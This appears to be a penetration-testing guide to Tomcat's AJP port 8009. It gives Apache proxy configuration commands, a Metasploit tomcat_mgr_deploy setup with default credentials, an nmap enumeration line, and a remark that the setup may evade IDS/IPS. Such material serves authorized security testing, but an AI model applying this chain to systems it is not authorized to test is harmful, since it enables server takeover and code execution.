AJP is a wire protocol. It is an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.
The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles
Default port: 8009
PORT STATE SERVICE 8009/tcp open ajp13
It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.
sudo apt-get install libapache2-mod-jk sudo vim /etc/apache2/apache2.conf # append the following line to the config Include ajp.conf sudo vim /etc/apache2/ajp.conf # create the following file, change HOST to the target address ProxyRequests Off <Proxy *> Order deny,allow Deny from all Allow from localhost </Proxy> ProxyPass / ajp://HOST:8009/ ProxyPassReverse / ajp://HOST:8009/ sudo a2enmod proxy_http sudo a2enmod proxy_ajp sudo systemctl restart apache2
A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this. Now you can just point your regular metasploit tomcat exploit to 127.0.0.1:80 and take over that system. Here is the metasploit output also:
msf exploit(tomcat_mgr_deploy) > show options Module options (exploit/multi/http/tomcat_mgr_deploy): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD tomcat no The password for the specified username PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) Proxies no Use a proxy chain RHOST localhost yes The target address RPORT 80 yes The target port USERNAME tomcat no The username to authenticate as VHOST no HTTP server virtual host
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>